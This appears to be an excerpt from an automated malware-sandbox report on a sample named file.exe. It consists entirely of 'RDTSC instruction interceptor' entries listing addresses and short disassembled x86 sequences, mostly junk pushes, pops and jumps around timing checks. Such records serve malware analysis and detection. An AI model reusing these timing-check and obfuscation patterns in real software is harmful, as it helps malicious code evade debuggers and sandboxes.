Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACFB45 second address: ACFB7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F1B51130FA4h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jno 00007F1B51130F9Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F1B51130F9Bh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0B93 second address: AD0B99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0B99 second address: AD0C42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jns 00007F1B51130F97h 0x00000012 xor bl, 00000068h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F1B51130F98h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 mov di, 1CADh 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 mov ebx, dword ptr [ebp+122D3F2Bh] 0x00000047 mov eax, dword ptr [ebp+122D0691h] 0x0000004d jmp 00007F1B51130F9Ch 0x00000052 push FFFFFFFFh 0x00000054 push 00000000h 0x00000056 push ecx 0x00000057 call 00007F1B51130F98h 0x0000005c pop ecx 0x0000005d mov dword ptr [esp+04h], ecx 0x00000061 add dword ptr [esp+04h], 00000017h 0x00000069 inc ecx 0x0000006a push ecx 0x0000006b ret 0x0000006c pop ecx 0x0000006d ret 0x0000006e mov bh, 1Dh 0x00000070 mov ebx, 47656393h 0x00000075 nop 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F1B51130FA1h 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0C42 second address: AD0C4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F1B50817826h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD28A6 second address: AD28AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD37D1 second address: AD3812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1B5081783Fh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1B50817838h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD3812 second address: AD3816 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD3816 second address: AD381C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD381C second address: AD38A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F1B51130F9Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F1B51130F98h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 xor bh, 00000047h 0x0000002b mov ebx, dword ptr [ebp+122D1E76h] 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007F1B51130F98h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 0000001Bh 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d jmp 00007F1B51130F9Fh 0x00000052 push 00000000h 0x00000054 mov dword ptr [ebp+122D1E45h], ebx 0x0000005a xchg eax, esi 0x0000005b jns 00007F1B51130F9Eh 0x00000061 push eax 0x00000062 push ebx 0x00000063 push esi 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5872 second address: AD5876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5876 second address: AD587A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD587A second address: AD588B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F1B50817828h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD4A14 second address: AD4A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD588B second address: AD5892 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD4A19 second address: AD4A1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD4A1F second address: AD4A23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5B91 second address: AD5B97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD87B8 second address: AD87CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B5081782Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD87CC second address: AD87DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B51130F9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD9802 second address: AD980C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD79BC second address: AD79C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD79C0 second address: AD79DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B50817838h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD7AA6 second address: AD7AB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F1B51130F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD7AB0 second address: AD7ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD7ABE second address: AD7AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD7AC2 second address: AD7AE6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1B50817826h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1B50817838h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD994D second address: AD99DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130F9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edi, dword ptr [ebp+122D2C05h] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 sub dword ptr [ebp+122D232Ch], edx 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007F1B51130F98h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 00000016h 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 mov bx, 8D60h 0x00000044 mov eax, dword ptr [ebp+122D1395h] 0x0000004a mov ebx, dword ptr [ebp+122D3E33h] 0x00000050 push FFFFFFFFh 0x00000052 jmp 00007F1B51130FA6h 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F1B51130FA9h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC88C second address: ADC891 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC891 second address: ADC897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD913 second address: ADD918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDBE0 second address: ADDBFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDBFD second address: ADDC1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817837h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2482 second address: AE2489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE60F2 second address: AE60FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE60FB second address: AE610B instructions: 0x00000000 rdtsc 0x00000002 js 00007F1B51130F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE610B second address: AE6132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1B50817826h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push esi 0x0000000e jmp 00007F1B50817836h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6132 second address: AE6138 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6138 second address: AE613C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE613C second address: AE6147 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6147 second address: AE614D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEBA6A second address: AEBA9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F1B51130FA2h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEBA9A second address: AEBA9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF11B1 second address: AF11C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130F9Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF03B4 second address: AF03B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF03B8 second address: AF03BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF03BC second address: AF03DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1B50817826h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d pushad 0x0000000e jbe 00007F1B50817832h 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1020 second address: AF1031 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130F9Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3D94 second address: AF3D9A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BE14 second address: A7BE23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 jns 00007F1B51130F96h 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9C76 second address: AF9C84 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1B50817828h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9C84 second address: AF9CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B51130FA8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACBC62 second address: ACBC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 jmp 00007F1B5081782Dh 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACBD52 second address: ACBD61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F1B51130F96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC25F second address: ACC28F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop eax 0x0000000d or cx, 485Ah 0x00000012 call 00007F1B50817829h 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F1B50817832h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC28F second address: ACC2AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1B51130FA5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC2AE second address: ACC2D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817838h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC2D2 second address: ACC2EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F1B51130F9Bh 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F1B51130F96h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC2EF second address: ACC2F5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC2F5 second address: ACC2FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F1B51130F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC2FF second address: ACC322 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B5081782Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1B5081782Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC405 second address: ACC428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jmp 00007F1B51130FA8h 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC62E second address: ACC633 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC77A second address: ACC793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F1B51130FA3h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACCC75 second address: ACCC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACCC79 second address: ACCC88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130F9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACCC88 second address: ACCC8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACCC8D second address: ACCC9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jc 00007F1B51130FB5h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACCF47 second address: ACCF4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8AE69 second address: A8AE6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8AE6E second address: A8AE97 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1B5081783Ch 0x00000008 jmp 00007F1B50817836h 0x0000000d push edi 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop edi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8AE97 second address: A8AE9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8AE9D second address: A8AEA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8E08 second address: AF8E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8E0E second address: AF8E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8E12 second address: AF8E38 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F1B51130FA5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jo 00007F1B51130F96h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8E38 second address: AF8E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8E3D second address: AF8E42 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9536 second address: AF953B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF953B second address: AF954F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F1B51130F9Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF980F second address: AF9813 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDF7E second address: AFDF82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDF82 second address: AFDF86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDF86 second address: AFDF92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1B51130F96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE11F second address: AFE123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE123 second address: AFE131 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1B51130F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE131 second address: AFE135 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE135 second address: AFE13B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE13B second address: AFE145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F1B50817826h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE145 second address: AFE149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE149 second address: AFE167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1B50817835h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE3F6 second address: AFE3FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE54E second address: AFE564 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1B5081782Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE564 second address: AFE568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE874 second address: AFE878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE878 second address: AFE87C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
